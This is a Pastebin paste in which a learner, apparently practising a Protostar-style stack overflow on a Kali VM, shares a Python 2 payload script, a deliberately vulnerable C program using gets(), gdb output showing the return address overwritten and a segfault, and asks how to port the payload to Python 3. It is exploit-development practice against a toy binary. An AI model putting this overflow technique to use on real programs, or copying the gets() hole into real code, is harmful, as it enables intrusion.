Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- All files used and their contents:
- -- exploit_shell.py:
- import struct
- padding = "A" * 72
- eip = struct.pack("Q", 0x7fffffffe248)
- payload = "\xCC" * 4
- print padding + eip + payload
- -- python2 exploit_shell.py:
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAH��������
- -- shell_exploit.c = shell_explot
- #include <stdio.h>
- #include <stdlib.h>
- #include <unistd.h>
- #include <string.h>
- int main(int argc, char *argv[])
- {
- char buffer[64];
- gets(buffer);
- }
- Name: Intel Core i7 640M Inside
- Codename: Arrandale
- Package: Socket 989 rPGA
- I'm not sure if it's relevant, but I'm not exploiting on Protostar, I'm on a Kali VM.
- The provided Python 2 payload can be transcribed to Python 3? How?
- DEBUG WITHOUT RUN THE PYTHON STDIN PAYLOAD:
- ┌──(root㉿kali)-[/home/kali]
- └─# gdb shell_exploit
- GNU gdb (Debian 13.2-1) 13.2
- Copyright (C) 2023 Free Software Foundation, Inc.
- License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
- This is free software: you are free to change and redistribute it.
- There is NO WARRANTY, to the extent permitted by law.
- Type "show copying" and "show warranty" for details.
- This GDB was configured as "x86_64-linux-gnu".
- Type "show configuration" for configuration details.
- For bug reporting instructions, please see:
- <https://www.gnu.org/software/gdb/bugs/>.
- Find the GDB manual and other documentation resources online at:
- <http://www.gnu.org/software/gdb/documentation/>.
- For help, type "help".
- Type "apropos word" to search for commands related to "word"...
- Reading symbols from shell_exploit...
- (No debugging symbols found in shell_exploit)
- (gdb) set disassembly-flavor intel
- (gdb) break *main
- Breakpoint 1 at 0x1139
- (gdb) define hook-stop
- Type commands for definition of "hook-stop".
- End with a line saying just "end".
- >x/1i $rip
- >x/8wx $rsp
- >end
- (gdb) run
- Starting program: /home/kali/shell_exploit
- [Thread debugging using libthread_db enabled]
- Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
- => 0x555555555139 <main>: push rbp
- 0x7fffffffe248: 0xf7df218a 0x00007fff 0x00000000 0x00000000
- 0x7fffffffe258: 0x55555139 0x00005555 0x00000000 0x00000001
- Breakpoint 1, 0x0000555555555139 in main ()
- (gdb) disassemble
- Dump of assembler code for function main:
- => 0x0000555555555139 <+0>: push rbp
- 0x000055555555513a <+1>: mov rbp,rsp
- 0x000055555555513d <+4>: sub rsp,0x50
- 0x0000555555555141 <+8>: mov DWORD PTR [rbp-0x44],edi
- 0x0000555555555144 <+11>: mov QWORD PTR [rbp-0x50],rsi
- 0x0000555555555148 <+15>: lea rax,[rbp-0x40]
- 0x000055555555514c <+19>: mov rdi,rax
- 0x000055555555514f <+22>: mov eax,0x0
- 0x0000555555555154 <+27>: call 0x555555555030 <gets@plt>
- 0x0000555555555159 <+32>: mov eax,0x0
- 0x000055555555515e <+37>: leave
- 0x000055555555515f <+38>: ret
- End of assembler dump.
- (gdb) break *0x000055555555515f
- Breakpoint 2 at 0x55555555515f
- (gdb) continue
- Continuing.
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- => 0x55555555515f <main+38>: ret
- 0x7fffffffe248: 0x41414141 0x41414141 0x41414141 0x41414141
- 0x7fffffffe258: 0x41414141 0x41414141 0x41414141 0x41414141
- =======================================================================================================================================
- =======================================================================================================================================
- =======================================================================================================================================
- =======================================================================================================================================
- =======================================================================================================================================
- DEBUG RUNNING PYTHON STDIN PAYLOAD:
- (gdb) r < /home/kali/pl
- The program being debugged has been started already.
- Start it from the beginning? (y or n) y
- Starting program: /home/kali/shell_exploit < /home/kali/pl
- [Thread debugging using libthread_db enabled]
- Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
- => 0x555555555139 <main>: push rbp
- 0x7fffffffe248: 0xf7df218a 0x00007fff 0x00000000 0x00000000
- 0x7fffffffe258: 0x55555139 0x00005555 0x00000000 0x00000001
- Breakpoint 1, 0x0000555555555139 in main ()
- (gdb) disassemble
- Dump of assembler code for function main:
- => 0x0000555555555139 <+0>: push rbp
- 0x000055555555513a <+1>: mov rbp,rsp
- 0x000055555555513d <+4>: sub rsp,0x50
- 0x0000555555555141 <+8>: mov DWORD PTR [rbp-0x44],edi
- 0x0000555555555144 <+11>: mov QWORD PTR [rbp-0x50],rsi
- 0x0000555555555148 <+15>: lea rax,[rbp-0x40]
- 0x000055555555514c <+19>: mov rdi,rax
- 0x000055555555514f <+22>: mov eax,0x0
- 0x0000555555555154 <+27>: call 0x555555555030 <gets@plt>
- 0x0000555555555159 <+32>: mov eax,0x0
- 0x000055555555515e <+37>: leave
- 0x000055555555515f <+38>: ret
- End of assembler dump.
- (gdb) continue
- Continuing.
- => 0x55555555515f <main+38>: ret
- 0x7fffffffe248: 0xffffe248 0x00007fff 0xcccccccc 0x00000000
- 0x7fffffffe258: 0x55555139 0x00005555 0x00000000 0x00000001
- Breakpoint 2, 0x000055555555515f in main ()
- (gdb) si
- => 0x7fffffffe248: rex.W loop 0x7fffffffe24a # This returns different registers on new runs, like add and fsub.
- 0x7fffffffe250: 0xcccccccc 0x00000000 0x55555139 0x00005555
- 0x7fffffffe260: 0x00000000 0x00000001 0xffffe358 0x00007fff
- 0x00007fffffffe248 in ?? ()
- (gdb) si
- Program received signal SIGSEGV, Segmentation fault.
- => 0x7fffffffe248: rex.W loop 0x7fffffffe24a
- 0x7fffffffe250: 0xcccccccc 0x00000000 0x55555139 0x00005555
- 0x7fffffffe260: 0x00000000 0x00000001 0xffffe358 0x00007fff
- 0x00007fffffffe248 in ?? ()
- (gdb) si
- Program terminated with signal SIGSEGV, Segmentation fault.
- The program no longer exists.
- Error while running hook_stop:
- No registers.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement